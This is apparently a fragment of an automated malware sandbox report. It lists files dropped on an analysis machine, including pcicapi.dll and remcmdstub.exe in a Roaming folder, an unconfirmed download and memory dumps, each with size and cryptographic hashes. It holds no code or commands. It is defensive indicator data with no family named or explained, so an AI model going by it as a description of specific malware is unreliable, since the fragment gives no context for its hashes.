4e880fc7625ccf8d9ca799d5b94ce2b1e7597335

SHA256
8793353461826fbd48f25ea8b835be204b758ce7510db2af631b28850355bd18

SHA512
2bea9bd528513a3c6a54beac25096ee200a4e6ccfc2a308ae9cfd1ad8738e2e2defd477d59db527a048e5e9a4fe1fc1d771701de14ef82b4dbcdc90df0387630

Download Submit
C:\Users\Admin\AppData\Roaming\RWOIE8\pcicapi.dll

Filesize
32KB

MD5
34dfb87e4200d852d1fb45dc48f93cfc

SHA1
35b4e73fb7c8d4c3fefb90b7e7dc19f3e653c641

SHA256
2d6c6200508c0797e6542b195c999f3485c4ef76551aa3c65016587788ba1703

SHA512
f5bb4e700322cbaa5069244812a9b6ce6899ce15b4fd6384a3e8be421e409e4526b2f67fe210394cd47c4685861faf760eff9af77209100b82b2e0655581c9b2

Download Submit
C:\Users\Admin\AppData\Roaming\RWOIE8\remcmdstub.exe

Filesize
62KB

MD5
6fca49b85aa38ee016e39e14b9f9d6d9

SHA1
b0d689c70e91d5600ccc2a4e533ff89bf4ca388b

SHA256
fedd609a16c717db9bea3072bed41e79b564c4bc97f959208bfa52fb3c9fa814

SHA512
f9c90029ff3dea84df853db63dace97d1c835a8cf7b6a6227a5b6db4abe25e9912dfed6967a88a128d11ab584663e099bf80c50dd879242432312961c0cfe622

Download Submit
C:\Users\Admin\Downloads\Unconfirmed 931202.crdownload

Filesize
3.9MB

MD5
f0688d5917ae17573bd09feb6c23be09

SHA1
1d4c2f809c33ca8c6200fdd172033bd766f5e38e

SHA256
679ba7c33c7fa3b05a151d1a334fd82c6e16bf9446e528729cc334eb31229236

SHA512
9f7415e8adac8134f41ddc9c424b10424a4666d88d110c78722aaa2bf1ecb81d1f15ef3a30058718fbcbddcfe2478941fa6e1aad550f6202ac85bc19ad4a4082

Download Submit
memory/5424-103-0x000001B7EC7E0000-0x000001B7EC7EA000-memory.dmp

Filesize
40KB

Download
memory/5424-104-0x000001B7EC810000-0x000001B7EC822000-memory.dmp

Filesize
72KB

Download
memory/5424-77-0x000001B7EC0B0000-0x000001B7EC0D2000-memory.dmp

Filesize
136KB

Download